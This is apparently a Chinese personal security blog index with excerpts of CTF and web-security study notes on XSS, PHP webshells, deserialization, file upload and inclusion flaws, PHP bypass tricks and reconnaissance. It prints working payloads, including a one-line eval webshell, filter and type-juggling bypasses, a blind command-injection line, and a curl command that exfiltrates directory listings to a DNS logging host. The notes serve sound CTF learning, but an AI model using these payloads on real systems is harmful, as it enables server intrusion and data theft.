Robin

LiuGuobin's blog

漏洞原理

XSS又叫CSS(Cross Site Script)是指恶意攻击者往Web页面里插入恶意Script代码
当用户浏览该页时,其中的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有:echo printf print print_r sprintf die var-dump var_export

攻击流程

(1)攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)
(2)诱使受害者打开受到攻击的服务器URL
(3)受害者在Web浏览器中打开URL时自动执行恶意脚本

攻击方式

阅读全文 »

什么是一句话木马

一句话木马是一种短小精悍的恶意代码,通常只有一行之长。
这种木马可以以上传文件、修改配置等方式将恶意代码植入到受害者服务器上
然后通过一些特殊手法在服务器端执行,以达到入侵控制目的。

常见的一句话木马

我们接触的一句话木马大多为这种,它需要在PHP环境中才可使用

<?php @eval($_POST[cmd]);  ?>
阅读全文 »

基础概念

在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化
序列化的逆过程就是便是反序列化,主要是为了方便对象传输。
为了完整安全地将对象保存到文件或数据库中,或者在网络上传输对象,就需要使用序列化。

不同类型数据序列化之后的形式:


$number = 34;
$float = 11.11111;
$str = 'user';
$bool = true;
$null = NULL;
$arr = array('a' => 10, 'b' => 200);
$test = new TEST('uu', true);
$test2 = new TEST('uu', true);
$test2->data = &$test2->data2;


i:34;
d:11.11111;
s:4:"user";
b:1;
N;
a:2:{s:1:"a";i:10;s:1:"b";i:200;}
O:4:"TEST":3:{s:4:"data";s:2:"uu";s:5:"data2";s:9:"dazzhuang";s:10:"TESTpass";b:1;}
O:4:"TEST":3:{s:4:"data";s:9:"dazzhuang";s:5:"data2";R:2;s:10:"TESTpass";b:1;}

只序列化成员函数,不序列化成员方法
私有属性的序列化加上类名并且在成员函数前后加上空(url编码的%00)
对象内调用对象时序列化后显示为套娃形式

反序列化之后:

阅读全文 »

分类

文件上传存在的漏洞一般有:

类型限制绕过:Web应用程序对上传文件的类型进行限制,黑名单或白名单方式
              攻击者可通过在请求包中伪造Content-Type字段或使用特定的文件扩展名的方式绕过限制,上传恶意文件。

文件名欺骗:攻击者通过修改上传文件的文件名,绕过文件类型检测,从而上传恶意文件。

目录遍历:攻击者通过在上传文件的路径中使用../等符号,绕过应用程序的安全限制,成功上传文件到其他目录。

权限提升:攻击者上传恶意文件,通过漏洞提升权限,获取更高的系统权限。

二进制文件上传:攻击者上传二进制文件到服务器,通过漏洞执行恶意代码。

危害

操作木马文件提权 获取网站权限

阅读全文 »

思路

积累各种函数,PHP语法特性,从中发现漏洞
要求深入了解PHP语言并熟练使用其函数。

漏洞利用



【PHP比较运算符一览表】
$a == $b      等于       true,如果类型转换后 $a 等于 $b。
$a === $b     全等       true,如果 $a 等于 $b,并且它们的类型也相同。
$a != $b      不等       true,如果类型转换后 $a 不等于 $b。
$a <> $b      不等       true,如果类型转换后 $a 不等于 $b。
$a !== $b     不全等     true,如果 $a 不等于 $b,或者它们的类型不同。
$a < $b       小与       true,如果 $a 严格小于 $b。
$a > $b       大于       true,如果 $a 严格大于 $b。
$a <= $b      小于等于   true,如果 $a 小于或者等于 $b。
$a >= $b      大于等于   true,如果 $a 大于或者等于 $b。
$a <=> $b     太空船运算符(组合比较符)   当$a小于、等于、大于 $b时 分别返回一个小于、等于、大于0的 int 值。
当两个操作对象都是数字字符串,或一个是数字另一个是数字字符串,就会自动按照数值进行比较。
当比较时用的是 === 或 !==, 则不会进行类型转换(因为不仅要对比数值,还要对比类型)


【preg_match 函数】
preg_match()返回 pattern的匹配次数。 
因为preg_match()在第一次匹配后将会停止搜索,所以它的值将是0次(不匹配)或1次
因为preg_match函数无法处理数组,所以可以通过数组的方式绕过
^表示匹配行头,$表示匹配行尾,i表示大小写都匹配,m表示多行匹配
当^$一起的时候表示精准匹配,需要行首行尾都要有



【intval 函数】
通过使用指定的进制 base 转换(默认是十进制),返回变量的整数数值
base是0时检测变量格式,有0x前缀使用十六进制,0开头使用八进制,否则使用十进制且只看字母之前的部分
intval()不能用于object否则会产生E_NOTICE错误并返回1(也就是True)
由于数组为一个对象,所以对这时它会返回1
此外,如果字符串以空格开头,intval函数会将其删除,然后再进行转换


【弱类型绕过】
===是先比较他们的类型然后在比较,==是先把他们转化成相同类型然后在进行比较
例如,将一个字符串转换为整数时,PHP会尝试将字符串中的数字部分转换为整数
如果字符串中不包含数字,则转换结果为0


【strpos 函数】
strpos($num, "0")
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回FALSE(区分大小写)


【stripos 函数】
查找字符串在另一字符串中第一次出现的位置(不区分大小写)
注意!字符串位置从0开始,不是从1开始



【md5】
对象的md5值是由对象的属性和方法组成的字符串的md5散列值。
如果两个对象的属性和方法完全相同,则它们的md5值也会相同。
因此a[]=1&b[]=2的md5值就是相同的
还有0e开头的字符串,会被PHP解释为0
弱比较时常用的有
QNKCDZO   s878926199a
240610708  aabg7XSs  aabC9RqS  s878926199a
强比较的需要使用数组绕过
当使用string强行转换成字符串时限制了数组绕过这方法
强碰撞使用
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
和
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2


【in_array 函数】
在大海(文件)中捞针($allow)
$allow = array(1,'2','3');
var_dump(in_array('文件',$allow));
返回的为true
$allow = array('1','2','3');
var_dump(in_array('文件',$allow));
返回false
其实还有第三个参数type,用于判断数据类型是否相同
php字符串和int比较时字符串会被转换成int
因为是弱类型转换,所以数字后面的字符串会被忽略


【file_put_contents 函数】
file_put_contents(file,data,mode,context)
file:规定写入的文件
data:写入文件的数据
mode:如何打开/写入文件(FILE_USE_INCLUDE_PATH,FILE_APPEND,LOCK_EX)
context:文件句柄的环境


【array_push 函数】
给数组的结尾添加其他数值


【PHP反射类】
PHP反射类ReflectionClass()是PHP5及以上的一个内置类,它允许开发者在运行时获取一个类的信息:
1.获取类的名称、父类、接口和命名空间
2.获取类的属性,并获取或修改属性的访问权限、默认值和注释
3.获取类的方法,并获取或修改方法的访问权限、参数、返回值和注释
4.判断类是否为抽象类、接口或终极类
5.获取类的文档注释和注解信息
6.动态创建类的实例,并调用类的方法和属性
使用echo new ReflectionClass命令即可输出
因为ReflectionClass变量已经定义了,所以PHP解释器不会输出警告信息,而是将该变量的值设置为null。
最终的效果是输出ReflectionClass类的定义信息,而没有输出警告信息。


【call_user_func 函数】
call_user_func($func, 1, 2);
使用1,2的参数调用func的方法并返回结果


【0x识别】
7.1以下版本,0x的字符串也是可以识别为十六进制的
在高版本下进制转换可以使用hex2bin函数将十六进制转换为ASCII字符
例如:
<?=`cat *`;
经过base64编码变成PD89YGNhdCAqYDs=
使用bin2hex函数转换成5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以绕过is_numeric检测
写入时使用伪协议php://filter/write=convert.base64-decode/resource=1.php
注意:
等号在base64中只是起到填充的作用,有没有等号解码出来的内容是相同的。


【SHA1】
sha1弱等于的,找加密后0e开头的即可
aaK1STfY ==>0e76658526655756207688271159624026011393
aaO8zKZF ==>0e89257456677279068558073954252716165668
甚至可以使用数组绕过!


【$$覆盖赋值】
$var = 'hello';
$$var = 'world';
echo $hello;      // 输出 world
可以看成这样子
$var = 'hello';
$($var) = 'world';
echo $hello;      // 输出 world


【ereg】
只存在与PHP 5.3.4及之前的版本中
一个比较古老的正则表达式匹配函数,一大把的漏洞
用指定的模式搜索一个字符串中指定的字符串,成功为true,否则为false(大小写敏感)
ereg函数存在NULL(%00)截断漏洞,可以绕过正则过滤,使用%00截断。
函数匹配的字符串中包含NULL字符时会在NULL处停止匹配


【strrev 函数】
翻转字符串,没啥好讲的。


【PHP异常处理类】
Exception处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类
关于内置类的应用前面已经讲过了
echo new ReflectionClass(system('ls'));
这种题看似很难,其实只需要在PHP手册里找到合适的类即可


【GLOBALS】
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组,变量的名字就是数组的键。


【is_file 函数】
检查指定的文件名是否是正常的文件
?file=php://filter/resource=1.php
php://filter/resource=1.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
php://filter/read=convert.quoted-printable-encode/resource=1.php
compress.zlib://1.php
使用伪协议就能绕过检测
原因是,伪协议实际上是一种特殊的URI(统一资源标识符),可以用来访问本地或远程的资源。
当使用伪协议访问文件时,PHP会将其视为一个URI而不是一个文件路径,因此is_file函数无法判断其是否是一个文件。


【filter 函数】
对来自非安全来源的数据(比如用户输入)进行验证和过滤
实际上感觉没啥用???


【目录溢出】
参数长度超过了配置文件中的"max_input_vars"和"post_max_size"参数时发生溢出
发生溢出后可以操作文件读取,文件删除,文件上传,代码执行,拒绝服务
例如:
?file=/proc/self/root/....../proc/self/root/var/www/html/a.php


【trim 函数】
trim(string,charlist)
string       必需。规定要检查的字符串。
charlist     可选。规定从字符串中删除哪些字符。省略该参数则移除下列所有字符:
"\0"       - NULL
"\t"       - 制表符
"\n"       - 换行
"\x0B"     - 垂直制表符
"\r"       - 回车
" "        - 空格
绕过时可以用 数字 + - . %09 %0a %0b %0c %0d %20


【PHP变量名】
PHP变量名由数字字母下划线组成
GET或POST的方式传进去的变量名,会自动将空格 + . [ 转换为_
而且还有一个特性就是被转化一次之后,就不会再次转换


【extract 函数】
extract($a)
数组a中的键名作为变量名,键值作为变量值,导入到当前的符号表中。
如果数组a中存在与当前符号表中已有的变量名相同的键名,则会覆盖已有的变量值。


【gettext 函数】
在开启该拓展后_()等效于gettext()等效于echo


【get_defined_vars 函数】
返回一个包含所有已定义变量列表的多维数组,包括环境变量、服务器变量和用户定义的变量


【readfile 函数利用】
函数作用:读取文件并写入到输出缓冲
利用方法:将读取的参数设置为想要读取的文件路径(适当增加../)


【正则最大回溯次数绕过/正则溢出攻击】
PHP为了防止正则表达式的拒绝服务攻击(reDOS)
给 pcre 设定了一个回溯次数上限(pcre.backtrack_limit)
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
注:攻击脚本EXP在文末


【小小的语法糖】
在PHP中,'或者shell_exec()都是执行shell命令的方法。
'是一种语法糖,可以将命令作为字符串嵌入到PHP代码中,相当于执行了shell_exec()方法。
但是'只能执行简单的shell命令而且不能获取命令的输出结果。
// 使用``语法糖执行shell命令
$time = `date`;
echo $time;
// 使用shell_exec()方法执行shell命令
$time = shell_exec('date');
echo $time;


【使用curl获取信息】
首先需要一个域名(可以去这里搞一个http://dnslog.cn/或者https://requestbin.net/)
再执行命令 ————> curl`ls`.域名


【parse_str 函数】
把查询字符解析到变量
$query_string = 'foo[]=123&foo[]=456';
parse_str($query_string, $vars);
echo $vars['foo'][0];  // 输出:123
echo $vars['foo'][1];  // 输出:456


【ectract 函数】
从数组中将变量导入当前的符号表
$person = array('name' => 'Alice', 'age' => 25, 'gender' => 'female');
extract($person);
echo $name;    // 输出:Alice
echo $age;     // 输出:25
echo $gender;  // 输出:female


【tee 命令】
tee用于显示程序的输出并将其复制到一个文件中
ls / |tee 1     意思是列出根目录并保存到1文件下


【修改源文件的骚方法】
sed是一种流编辑器
处理下一行,这样不断重复,直到文件末尾
但是文件内容并没有改变,除非你使用重定向存储输出
xargs是给命令传递参数的一个过滤器
可以将管道或标准输入(stdin)数据转换成命令行参数,也能够从文件的输出中读取数据。
当使用系统命令时
system('ls | xargs sed -i "s/exec/system/"');
exec('ls | xargs sed -i "s/exec/system/"');


【调用类内函数方法】
无参调用类的静态方法:
classname=classname::member_function
无参调用类的数组传递调用:
传入的参[0]=classname&传入的参[1]=member_function


【Linux命令盲注】
if [ `ls / -1|awk 'NR==1'|cut -c {} ` = b ];then sleep 2;fi
    ls / -1 :列出根目录下的所有文件和目录,每个文件和目录占一行
    #awk 'NR=={0}' :逐行输出获取
    #cut -c {1} :截取单个字符
    `` :执行命令并返回结果
    sleep 2 :延迟两秒回显
    fi :Shell脚本中表示if语句结束
Shell命令盲注脚本在文末。


【PHP命令数字混合计算】
php里数字可以和命令可以进行运算
eval(1-phpinfo()-1)的结果为执行phpinfo
phpinfo()执行成功返回true,1-1-1=-1
此时仍然可以使用无字母数字RCE脚本,具体查看文末


【create_function 函数】
create_function('$a,$b','return 111;}phpinfo();//')
    相当于
function a($a, $b){
    return 111;}phpinfo();//
}
所以  ?show=}?><?=`ls`;//  就可以执行ls命令


【命名空间污染】
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中
如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径
而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径(使用的是根命名空间)
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
因为将函数名改为了以反斜杠(\)开头的命名空间,所以正则表达式无法匹配到这个函数名
安全的正则表达式应该是   '/^\\myapp\\[a-z0-9_]*$/isD'


【包含session文件】
SESSION 文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟 SESSION ID
默认路径一般为:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
文件中的数据是序列化之后的 SESSION 数据
getshell方法:
添加一个Cookie:PHPSESSID=flag
并在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马
详细操作请查看上一篇文章。

各种payload

阅读全文 »

原理

文件包含漏洞是指应用程序在处理文件路径时,没有进行足够的验证
导致攻击者可以利用此漏洞读取任意文件,执行任意代码甚至获取系统权限。

这种漏洞通常出现在应用程序中动态引用文件的代码中
或是出现在用户可以控制文件名、文件路径或文件内容的输入参数上。
攻击者可以在这些参数中注入特定的字符,从而构造一个恶意文件路径并被应用程序读取
应用程序没有对这个路径进行验证,最终导致攻击者可以获取系统权限或读取任意文件。

分类

  1. 本地文件包含
  2. 远程文件包含 :即加载远程文件,在php.ini中开allow_url_include 、allow_url_fopen选项。开启后可以直接执行任意代码。
阅读全文 »

命令执行

首先看过滤了什么东西,再按照下面的方法一点一点绕过。
再利用没过滤的字符构造playload
很多是可以泛用的,如果能找到一个很好用的也不错。

前置知识

<?=`ls /`;?>等效于<?php echo `ls /`; ?>

?cmd=?><?=`ls \`;闭合第一个php,然后构造第二个短标签形式的php

php文件上传时,一般是将文件上传到临时目录,然后再将临时目录移到其它地方

PHP的一些标签有
<?...?>
<%...%>
<?php ...?>
<script language="php">...</script>

各种绕过手法

阅读全文 »

本文会一直更新,不会分开多个文章记载刷题记录

文章只记载最简单的最重要的思路
信息泄露

既然是信息泄露,自然不会很难,基本上都是工具一把嗦。

F12
robots.txt
js
index.php~
抓包
index.phps
www.zip
.git
.svn
.index.php.swp
.index.php.bak
.index.php.swo
.index.php.swn
.DS_Store
.hg
邮箱,电话号码泄露
技术文档
editor编辑器
探针
backup.sql
/db/db.mdb
抓包返回状态
阅读全文 »

前话

这次CTF比赛对我来说难度感觉适中偏难吧,很多题都是可以写的
只是因为比赛是团队合作,所以就把难题留给大哥们了。
当然,这不是重点,重点是从中学到了啥。

WriteUp

Web

BabyPHP

阅读全文 »

我现在在写的文章是一个完整的系列,也是我学习的路线。
如果你有仔细看就会发现它一开始就不是针CTF竞赛的。
所以这个系列(或许可以这么说吧哈哈)很大概率会持续更新下去。
对于下个部分的内容,我在考虑
穷举篇还是SQL注入绕过技术篇还是文件上传篇
反正到时候写出来就知道了。
还有,我对待这个博客仍然是个人博客的态度
不指望也不希望太多人传之类的。

20230707补档

补充一下TOP10漏洞:

  1. SQL注入
  2. 失效的身份认证和会话管理
  3. 跨站脚本攻击XSS
  4. 直接引用不安全的对象
  5. 安全配置错误
  6. 敏感信息泄露
  7. 缺少功能级的访问控制
  8. 跨站请求伪造CSRF
  9. 实验含有已知漏洞的组件
  10. 未验证的重定向和转发

一些基本概念

旁站:是和目标网站在同一台服务器上的其它的网站。
C段:是和目标服务器ip处在同一个C段的其它服务器。
ARL资产侦查灯塔:快速发现并整理企业外网资产并为资产构建基础数据库的工具(想要的自己找)

收集操作

Whois操作
Kali系统中,Whois己经默认安装,只需输入要查询的域名即可

whois  +  域名
(一般域名不包含主机名,如·baidu.com)
阅读全文 »

Python装饰器

解释概念

Python中的装饰器是一种用于修改或扩展函数或类的行为的语法结构。装饰器通常是一个函数或类,它接受一个函数或类作为参数,并返回一个新的函数或类。

装饰器可以用于许多不同的目的,例如:

  1. 添加日志记录或调试信息,以便跟踪函数的执行过程和结果。
  2. 对函数或类的参数进行验证或修改,以确保它们符合特定的规则或格式。
  3. 对函数或类进行缓存或记忆化,以避免重复计算或提高性能。
  4. 添加身份验证或授权逻辑,以确保只有授权用户才能调用函数或类。
  5. 实现面向切面编程(AOP),以分离横切关注点(如日志记录、性能统计等)和业务逻辑。
    Python中的装饰器使用@语法来应用,例如:
    @decorator
    def my_function():
     # do something
    
    这将把my_function函数传递给decorator装饰器函数,并将其替换为新的函数,该函数包装了原始函数并修改了其行为。
阅读全文 »